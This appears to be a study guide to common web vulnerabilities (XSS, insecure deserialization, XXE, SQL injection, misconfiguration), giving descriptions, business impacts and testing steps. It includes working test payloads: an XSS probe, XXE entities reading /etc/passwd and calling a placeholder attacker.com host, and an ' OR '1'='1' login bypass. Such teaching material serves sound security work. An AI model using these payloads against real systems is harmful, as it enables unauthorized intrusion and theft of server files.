1. **Vulnerability Name** :- Cross-Site Scripting (XSS)

   1.1 Cross-Site Scripting (XSS)

**CWE No : -** CWE-79

*OWASP/SANS Category :- Top 5*

**Description:**

Cross-Site Scripting (XSS) is a critical web vulnerability where an attacker injects malicious JavaScript into a website, which is then executed in a victim's browser. This happens when a web application fails to properly validate or sanitize user input before displaying it. XSS attacks can be classified into Stored XSS, where the malicious script is permanently stored on the website and executes when a user visits the affected page; Reflected XSS, where the script is embedded in a malicious link and runs when a victim clicks it; and DOM-based XSS, which occurs due to insecure JavaScrip execution on the client side. The impact of XSS can be severe, allowing attackers to steal cookies, session tokens, and login credentials, potentially leading to account hijacking and phishing attacks. Additionally, it can be used to inject fake content, deface websites, or spread malware

*Business Impact :-*

- Attackers can steal user credentials, session cookies, or authentication tokens through malicious scripts.
- XSS can be used to manipulate forms, redirect payments, or steal financial details.
- In e-commerce or banking platforms, it can lead to direct financial losses for both businesses and customers.
- XSS attacks that leak sensitive information can result in heavy fines and legal action.
- XSS can be leveraged to create fake login pages, tricking users into entering their credentials on a malicious site.
- They may use persistent XSS to create backdoors, leading to long-term security risks.

*Steps to Identify :*

- Inject "<script>alert(1)</script>" in input fields, inspect responses, use Burp Suite/ZAP
- Run Burp Suite Active Scan, OWASP ZAP, or Nikto to detect potential XSS vulnerabilities.

- Try WAF bypass techniques if Web Application Firewalls are in place.

**2. Vulnerability Name :-** Insecure Deserialization

**CWE No : -** CWE-502

**OWASP/SANS Category :-** Top 10

Description:

Insecure Deserialization is a vulnerability that occurs when an application deserializes untrusted data without proper validation, allowing attackers to manipulate the serialized object structure. Serialization is the process of converting objects into a format (such as JSON, XML, or binary) for storage or transmission, while deserialization reconstructs them back into objects. If the application does not validate the deserialized data, an attacker can modify or inject malicious objects, leading to remote code execution (RCE), privilege escalation, data tampering, or denial-of-service (DoS) attacks. This vulnerability is especially dangerous in applications that use Java, PHP, Python, .NET, or any framework that relies on object serialization. Attackers can craft malicious serialized objects and exploit weak deserialization mechanisms to execute arbitrary code on the server.

*Business Impact :-*

- If an attacker exploits insecure deserialization, they can execute arbitrary code on the server, leading to complete control over the application or infrastructure.
- They can manipulate serialized objects to access sensitive user data, including personal records, financial details, or intellectual property.
- They can exploit insecure deserialization to manipulate financial transactions, such as changing order prices, bypassing payment validation, or stealing loyalty points.
- If an insecure deserialization attack leads to data leaks, fraud, or system downtime, it damages an organization's reputation.

*Some real world examples for insecure deserialization*

- Insecure deserialization in Apache Struts (CVE-2017-9805) led to RCE attacks, affecting thousands of organizations.

- A high-profile data breach due to insecure deserialization could result in negative media coverage and public backlash.

*Steps to Identify:*

- Look for Base64/JSON/XML serialized data, modify values, use ysoserial/Burp Suite.
- Look for serialized objects in HTTP requests, responses, cookies, headers, and API calls.
- Inspect cookies, form fields, hidden parameters, API requests, and session tokens.
- If a parameter looks encoded, decode it using CyberChef, Base64 decoder, or Burp Suite Decoder.
- Automate testing using fuzzing tools to detect deserialization flaws.
- If insecure deserialization is detected, report the vulnerability with proof-of-concept (PoC) payloads.

**3.Vulnerability Name :-** XML External Entity (XXE)

**CWE No : -** CWE – 611

**OWASP/SANS Category :-** Top 5

Description:-

XML External Entity (XXE) is a serious security vulnerability that occurs when an application processes XML input with external entity references enabled. Attackers can exploit this to read sensitive files, execute server-side request forgery (SSRF) attacks, or launch denial-of-service (DoS) attacks. This vulnerability arises due to improperly configured XML parsers that do not disable external entity processing.

XML allows defining custom entities using the <!ENTITY> declaration. If an attacker can manipulate the XML input, they can force the server to read local system files (e.g., /etc/passwd on Linux) or make HTTP requests to internal resources.

*Business Impact :-*

- Exploring XMl parsers to read local files, perform SSRF, or execute denial of service attacks.
- Attackers can exploit XXE to read confidential files from the server, such as:
    - User credentials (e.g., /etc/passwd, C:\windows\win.ini)

- Database configuration files (containing usernames and passwords)
- API keys and cryptographic secrets

➢ XXE can be used to bypass firewalls and make unauthorized requests to internal services , including

- Internal APIs
- Cloud metadata services
- On premise databases or administrative interfaces

➢ They can use BILLION LAUGHS ATTACK to overload the XML parser,causing high CPU/memory consumption and resulting in :

- Application Crashes
- Service Disruptions
- Loss of availability of customers

➢ The attackers can modify the XML – based structures to

- Tamper with transcations
- Alter user authentication mechanisms
- Change permissions or escalate privilages

## Steps to Identify:

### Step 1: Identify XML-Based Features in the Application

➢ Check if the application supports SOAP-based or RESTful APIs that accept XML payloads.

```
<user>
  <id>123</id>
  <name>John Doe</name>
</user>
```

### Step 2: Inject Basic XXE Payload to Test for Vulnerability

➢ Once an XML processing feature is found, try injecting a basic external entity payload.

➢ Test for Local File Disclosure:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
```

```
<user>
 <name>&xxe;</name>
</user>
```

### Step 3: Test for Blind XXE via Out-of-Band (OOB) Attacks

- Inject a payload that forces the server to make an external HTTP request:
- Example code:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "http://attacker.com/log.txt">
]>
<user>
 <name>&xxe;</name>
</user>
```

### Step 4: Automate XXE Detection with Security Scanners

- **Metasploit XXE Modules** – For exploiting known XXE vulnerabilities.
- **Burp Suite Pro (Active Scanner**) – Detects XXE in API endpoints**.**
- **Nuclei (XXE Templates**) – Fast scanning with custom payloads.
- **Nikito & OWASP ZAP** – Web vulnerability scanners with XXE detection.

**4.Vulnerability Name :-** SQL Injection (SQLi)

**CWE No : -** CWE – 89

**OWASP/SANS Category :-** Top 5

**Description:-**

SQL Injection (SQLi) is a critical web security vulnerability that allows an attacker to interfere with a web application's database queries. By injecting

malicious SQL code into input fields, attackers can bypass authentication, manipulate database records, and even gain full control over the database.

SQLi typically occurs when an application fails to properly validate and

sanitize user inputs before executing SQL queries. If a web application

dynamically constructs SQL queries using untrusted user input, an attacker can

insert malicious SQL statements that modify the query's logic.

A vulnerable web application takes user input and directly includes it in a SQL query without sanitization. An attacker can modify the query structure and execute unintended database operations.

Example of a Vulnerable SQL Query (Without Protection*)*

*SELECT * FROM users WHERE*

*username = 'user_input' AND*

*password = 'user_password'; If a*

*user inputs:*

**' OR '1'='1'**

The query becomes*:*

*SELECT * FROM*

*users WHERE*

*username = '' OR*

*'1'='1' AND*

*password = '';*

*Business Impact :-*

- Attackers can **steal sensitive data**, including usernames, passwords, financial records, and personal information.
- If an attacker extracts password hashes, they can crack and reuse them for account takeovers.
- Attackers can manipulate financial transcations, transfer funds, or alter product prices in e-commerce applications
- Advanced SQLi attacks can allow remote command execution, enabling full system compromise.
- Data breaches due to SQLi can lead to regulatory fines (eg ., GDPR, PCI-DSS violations) and loss of customer trust.

**3.Vulnerability Name** :- Security Misconfiguration

**CWE No :** - CWE - 16

*OWASP/SANS Category :- Top 5*

Security Misconfiguration is a critical vulnerability that occurs when systems, applications, servers, or network components are improperly configured, leaving them exposed to potential attacks. This can include default settings, overly permissive access controls, unnecessary services, outdated software, or missing security headers.

Many security breaches happen due to simple misconfigurations, such as leaving admin panels publicly accessible, failing to restrict database access, or exposing debugging information that provides attackers with sensitive system details.

Since modern applications rely on multiple third-party services, frameworks, and cloud environments, misconfigurations can be widespread and difficult to detect without thorough security auditing. Organizations must regularly review and enforce secure configurations to prevent attackers from exploiting these vulnerabilities.

*Business Impact of Security Misconfiguration:*

Security misconfigurations can have severe financial, reputational, and operational consequences.

- Data Breaches & Information Leakage – Misconfigured cloud storage (AWS S3, Azure Blobs) can expose sensitive files, credentials, and customer data.
- System Compromise & Ransomware Attacks – Attackers exploit weak security settings to deploy malware and ransomware.
- Unauthorized Access & Privilege Escalation – Exposed admin panels allow attackers to take over user accounts.
- Brand Damage & Legal Consequences – Publicly exposed misconfigurations lead to loss of customer trust.

Steps to Identify Security Misconfiguration

**1. Scan for Default Credentials & Open Services**

- Check for factory default usernames/passwords.
- Identify open ports and unnecessary services.

*Tools:*

- **nmap -p- --open example.com** (Detect open ports)

- **Shodan.io** (Search for misconfigured servers)

-

### 2. Check for Exposed Sensitive Data

- Look for hardcoded credentials, API keys, and config files
- Check cloud storage buckets (AWS S3, GCP, Azure**)** for public access.

*Tools:*

- **truffleHog** – Scans for leaked API keys.
- **S3Scanner** – Finds open AWS S3 buckets.

### 3. Inspect Security Headers & TLS Configuration

- Test for missing security headers like Content-Security-Policy, X-Frame-Options.
- Verify TLS settings (avoid outdated protocols & weak chiphers).

*Tools:*

- **curl -I https://example.com** for checking response**.**
- **SSL Labs Test –** Test for weak SSL/TLS configurations.

### 4. Identify Exposed Debug & Error Messages

- Check for stack traces, database errors, and debugging modes enabled.
- Analyze server responses for sensitive system details.

### 5. Audit Permissions & Access Control Settings

- Check database permissions (ensure least privilege).
- Restrict access to admin panels & configuration files.

*Tools:*

- **ls -la /var/www/** (Check file permissions).
- Wappalyzer – Identifies exposed admin panels.